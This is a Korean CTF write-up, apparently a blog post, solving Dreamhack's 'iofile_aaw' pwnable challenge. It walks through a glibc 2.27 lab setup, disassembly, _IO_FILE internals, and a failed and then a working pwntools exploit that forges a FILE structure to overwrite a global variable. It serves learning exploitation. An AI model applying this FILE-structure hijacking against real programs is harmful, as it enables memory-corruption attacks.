Ubuntu 18.04 64-bit(Glibc 2.27) 실습 환경 Dockerfile
FROM ubuntu:18.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
gcc \
git \
python3 \
python3-pip \
ruby \
sudo \
tmux \
vim \
wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install one_gadget -v 1.6.2
# install patchelf
WORKDIR /root
RUN apt install -y dh-autoreconf
RUN git clone https://github.com/NixOS/patchelf
WORKDIR /root/patchelf
RUN git checkout 0.17.2
RUN ./bootstrap.sh
RUN ./configure
RUN make
RUN make check
RUN sudo make install
WORKDIR /root
CONTAINER_NAME=my_container; \
docker build . -t ubuntu1804; \
docker run -d -t --privileged --name=$CONTAINER_NAME ubuntu1804; \
docker exec -it -u root $CONTAINER_NAME bash
iofile_aaw.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
int overwrite_me;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aaw/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
write(1, flag_buf, sizeof(flag_buf));
fclose(fp);
}
int main() {
FILE *fp;
char file_buf[1024];
init();
fp = fopen("/etc/issue", "r");
printf("Data: ");
read(0, fp, 300);
fread(file_buf, 1, sizeof(file_buf)-1, fp);
printf("%s", file_buf);
if( overwrite_me == 0xDEADBEEF)
read_flag();
fclose(fp);
}
pwndbg> checksec
[*] '/root/io/IO/iofile_aaw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
코드 분석
코드에 나와있듯이 overwrite_me만 특정 값으로 바꾸면 플래그가 나오는 코드이다.
근데 read 는 안전하게 heap 에 저장될 것 같고 .. 건들 수 있는게 뭐가 있을까 고민을 하다가 일단 실행을 시켜봤다.
동적 분석
pwndbg> disassem main
Dump of assembler code for function main:
0x000000000040082b <+0>: push rbp
0x000000000040082c <+1>: mov rbp,rsp
0x000000000040082f <+4>: sub rsp,0x420
0x0000000000400836 <+11>: mov rax,QWORD PTR fs:0x28
0x000000000040083f <+20>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400843 <+24>: xor eax,eax
0x0000000000400845 <+26>: mov eax,0x0
0x000000000040084a <+31>: call 0x400787 <init>
0x000000000040084f <+36>: lea rsi,[rip+0x14e] # 0x4009a4
0x0000000000400856 <+43>: lea rdi,[rip+0x15f] # 0x4009bc
0x000000000040085d <+50>: call 0x400690 <fopen@plt>
0x0000000000400862 <+55>: mov QWORD PTR [rbp-0x418],rax
0x0000000000400869 <+62>: lea rdi,[rip+0x157] # 0x4009c7
0x0000000000400870 <+69>: mov eax,0x0
0x0000000000400875 <+74>: call 0x400660 <printf@plt>
0x000000000040087a <+79>: mov rax,QWORD PTR [rbp-0x418]
0x0000000000400881 <+86>: mov edx,0x12c
0x0000000000400886 <+91>: mov rsi,rax
0x0000000000400889 <+94>: mov edi,0x0
0x000000000040088e <+99>: call 0x400670 <read@plt>
0x0000000000400893 <+104>: mov rdx,QWORD PTR [rbp-0x418]
0x000000000040089a <+111>: lea rax,[rbp-0x410]
0x00000000004008a1 <+118>: mov rcx,rdx
0x00000000004008a4 <+121>: mov edx,0x3ff
0x00000000004008a9 <+126>: mov esi,0x1
0x00000000004008ae <+131>: mov rdi,rax
0x00000000004008b1 <+134>: call 0x400620 <fread@plt>
0x00000000004008b6 <+139>: lea rax,[rbp-0x410]
0x00000000004008bd <+146>: mov rsi,rax
0x00000000004008c0 <+149>: lea rdi,[rip+0x107] # 0x4009ce
0x00000000004008c7 <+156>: mov eax,0x0
0x00000000004008cc <+161>: call 0x400660 <printf@plt>
0x00000000004008d1 <+166>: mov eax,DWORD PTR [rip+0x200bc9] # 0x6014a0 <overwrite_me>
0x00000000004008d7 <+172>: cmp eax,0xdeadbeef
0x00000000004008dc <+177>: jne 0x4008e8 <main+189>
0x00000000004008de <+179>: mov eax,0x0
0x00000000004008e3 <+184>: call 0x4007ca <read_flag>
0x00000000004008e8 <+189>: mov rax,QWORD PTR [rbp-0x418]
0x00000000004008ef <+196>: mov rdi,rax
0x00000000004008f2 <+199>: call 0x400640 <fclose@plt>
0x00000000004008f7 <+204>: mov eax,0x0
0x00000000004008fc <+209>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000400900 <+213>: xor rcx,QWORD PTR fs:0x28
0x0000000000400909 <+222>: je 0x400910 <main+229>
0x000000000040090b <+224>: call 0x400650 <__stack_chk_fail@plt>
0x0000000000400910 <+229>: leave
0x0000000000400911 <+230>: ret
read 를 실행하는 main+99 에 브레이크를 걸고 실행을 시켰다.
rsi 에는 fd 주소인 0x602260 이 들어있었고 ni로 read를 실행시켜서 AAAA 를 넣어줬다.
그러면 이렇게 값이 들어가있고 내부에 무슨 값들이 몇개 들어있었다.
그래서 혹시나 이전에 읽은 /etc/issue 와 관련된 값인가? 싶어서 찾아보니
IO FILE 구조체와 관련된 값인 걸 찾았다.
0xfbad2086 가 정확히 어떤 역할인진 모르겠으나 IO 구조체의 flag 값이 아닐까 싶다.
생각해보니 read 로 fp 에 저장을 시키는거니까 io file 구조체를 마음대로 가지고 놀 수 있게 문제에서 다 내어준 거였다.
아무튼 이제 방향을 확실하게 잡았다. 구조체를 수정해서 overwrite_me 를 원하는 값으로 써주자. 그럴려면 일단 IO FILE 구조체가 어떻게 생겼는지 알아야겠다.
저 0x00007ffff7dce680 안에 있는 값이 0xfbad2086 로 flag 위치인것 같으니까 저 위치는 기준으로 IO FILE 구조체 위치를 뽑아내봤다.
이렇게 맞게 채워진것같다.
깔끔하게 뽑아보면 이런느낌
그리고 젤 중요한 vtable을 뽑아보면 이렇게 생겼다.
핵심은 xsgetn 멤버 변수를 건드리는거다.
이제 얘를 원하는 모양으로 바꿔두고 내가 원하는 장소에 숨겨두자
그리고 그렇게 만들어낸 새로운 구조체를 읽히면 원하는 동작이 가능할 것이다.
내가 원하는건 overwrite_me 변수를 수정하는거니까 주소를 알아놔야지.
전역변수고 값없이 선언된상태니까 아마 data 영역일거고 권한 역시 충분하다.
자 그럼 이제 준비가 전부 끝났다 0x6014a0 주소에 바로 원하는 값을 집어넣어버리자.
근데 여기서 답을 찾는데 시간이 좀 걸렸다.
값을 어떻게 넣을지 감이 안잡혀서 여러 시도를 해봤다.
- 가젯 체인 짜서 변수 값 바꾸기→ overwrite_me 를 덮기엔 모든 가젯이 없음
- execve로 쉘 실행 → syscall 가젯이 없음
등등 가젯을 이용한 건 가젯이 없어서 만들어지질 않았다.
fread()
└── _IO_fread()
└── _IO_sgetn(fp, data, n)
└── _IO_XSGETN(fp, data, n)
└── fp->vtable->__xsgetn(fp, data, n)
└── _IO_file_xsgetn(...) ← 파일 읽기
그래서 이전 Write up을 계속 읽다가 찾아낸게
위 구조로 쭉 호출을 하고, 살펴보면 fp, data, n 인자가 쭉 그대로 들고가진다.
그러면 pop rdi, pop rsi 가젯은 있으니까 이걸 이용하면 되지않나? 라는 생각이 들어서
xsgetn 에 pop rdi ; ret ; 을 넣고 그대로 해봤는데 안된다.
실패 익스플로잇 코드
from pwn import *
p = remote('host8.dreamhack.games', 18758)
e = ELF('./iofile_aaw')
p.recvuntil(b'Data')
overwrite_me = e.symbols['overwrite_me']
pop_rdi = 0x400983
pop_rsi = 0x400981
fake_vtable_addr = 0x602250 + 0x100
fake_IO = (
p64(0xfbad2086) # _flags
+ p64(0) * 3 # _IO_read_ptr, _IO_read_end, _IO_read_base
+ p64(0) * 3 # _IO_write_base, _IO_write_ptr, _IO_write_end
+ p64(0) * 5 # buffers
+ p64(0) * 2 # marker, chain
+ p64(0) # fileno
+ p64(0) # flags2
+ p64(0) # old_offset
+ p64(0) # cur_column
+ p64(0) # vtable_offset
+ p64(0) * 6 # dummy
+ p64(fake_vtable_addr) # vtable
)
fake_vtable = (
p64(0) * 8
+ p64(pop_rdi) # pop rdi 가젯
)
payload = fake_IO.ljust(0x100, b'\x00')
payload += fake_vtable
payload += p64(pop_rdi)
payload += p64(overwrite_me)
payload += p64(pop_rsi)
payload += p64(0xDEADBEEF)
payload += p64(0)
p.send(payload)
p.interactive()
어디서 틀린건지 서칭을 해본 결과 레지스터를 저렇게 바꿔도 fd data n 같은 값은 IO 구조체에 있는 멤버 변수로 가져오는거라고 한다.
그래서 fd 를 overwrite_me 로 바꾸고 싶었다면 _IO_buf_base 를 만졌어야했다…
분석 + 다시 시도
로직을 제대로 살펴보기 위해 _IO_file_xsgetn 함수부 살펴보자
_IO_file_xsgetn
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
_char *s = data;
want = n;
...
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
...
}
조건문부터 살펴보면 fp 인 IO 파일 구조체의 IO buf base 가 유효한지 살펴보고
IO buf 에서 base를 빼서 남은 요청량인 want 가 (n) 내부 버퍼크기보다 작은지 확인한다.
그 뒤 __underflow 를 검사하는데 이때 _IO_new_file_underflow 함수를 호출한다.
이제 _IO_new_file_underflow를 살펴보자
_IO_new_file_underflow
int _IO_new_file_underflow (FILE *fp)
{
ssize_t count;
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
}
위 함수에서는 우선 flag 에 읽기 권한이 있는지 확인하고 _IO_SYSREAD 함수의 인자로,
읽은 데이터를 채워 넣을 내부 버퍼의 시작 주소와, 읽어 들일 최대 바이트 수를 넘긴다.
이번 문제에서는 이 중 base 값에 overwrite_me 주소로 바꿔서 해당 부분을 원하는 값으로 바꾼다.
_IO_SYSREAD 함수는 vtable의 _IO_file_read 함수로 아래 매크로에서 확인가능하다.
#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)
_IO_file_read
_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}
위에서 말한 그대로 인자들이 전달되고 실행된다.
익스플로잇 설계
이제 익스플로잇 설계를 해보면 fread 함수에서 참조하는 파일 구조체에서 IO_buf_base 와 end 를 조작해서 대상을 바꿔주는 것이 목표이다.
문제에서 주어졌듯이 overwrite_me 값을 0xDEADBEEF 로 덮어씌우면 flag 내용을 얻을 수 있다.
IO_buf_base 값은 overwrite_me 로 바꾸고, IO_buf_end - IO_buf_base 값은 1024 보다 큰 수로 맞춰주면 된다.
1024보다 커야하는 이유는 _IO_new_file_underflow 함수에서IO_buf_end - IO_buf_base 값이 fread 함수의 인자로 전달된 읽을 크기보다 커야하는 조건이 있기 때문이다.
그리고 fileno 를 기존에는 etc 경로의 특정 파일에 데이터를 읽으려했지만 지금은 표준입력으로 맞춰줘야 원하는 값을 쓸 수 있으므로 0으로 적어준다.
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
/* read(0, overwrite_me, overwrite_me+1024) */
그리고 플래그도
_IO_MAGIC(0xfbad0000)_IO_IS_FILEBUF(0x2000)_IO_TIED_PUT_GET(0x0400)_IO_LINKED(0x0080)_IO_NO_WRITES(0x0008)
이렇게 기존에는 _IO_UNBUFFERED (0x0002) + _IO_NO_READS (0x0004) 로 읽기가 금지 되었었는데 _IO_NO_WRITES (0x0008) 로 읽기전용으로 바꿔주고,
_IO_TIED_PUT_GET (0x0400) 를 호출하여 underflow 이후 read 시스템 콜 경로가 정상 작동하게 맞춰준다.
이제 익스플로잇 코드를 작성해보면
최종 익스플로잇 코드
from pwn import *
import time
p = remote('host8.dreamhack.games', 18758)
e = ELF('./iofile_aaw')
context.arch = 'amd64'
overwrite_me = e.symbols['overwrite_me']
fake_IO = (
p64(0xfbad2488) # _flags
+ p64(0) * 3
+ p64(0) * 3
+ p64(overwrite_me) # _IO_buf_base
+ p64(overwrite_me + 1024) # _IO_buf_end
+ p64(0) * 3
+ p64(0) * 2
+ p64(0) # stdin
)
p.sendlineafter(b'Data: ', fake_IO)
time.sleep(1)
p.send(p64(0xDEADBEEF) + b'\x00'*1024)
p.interactive()
이렇게 답이 나왔다.
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable Advanced] Exploit Tech: _IO_FILE Arbitrary Address Read (1) | 2026.04.16 |
|---|---|
| [Pwnable Advanced] Send_sig (1) | 2026.04.16 |
| [Pwnable Advanced] Exploit Tech: SigReturn-Oriented Programming (1) | 2026.04.16 |
| [Pwnable Advanced] Exploit Tech: __environ (1) | 2026.04.16 |
| [Pwnable Advanced] rtld (1) | 2026.04.16 |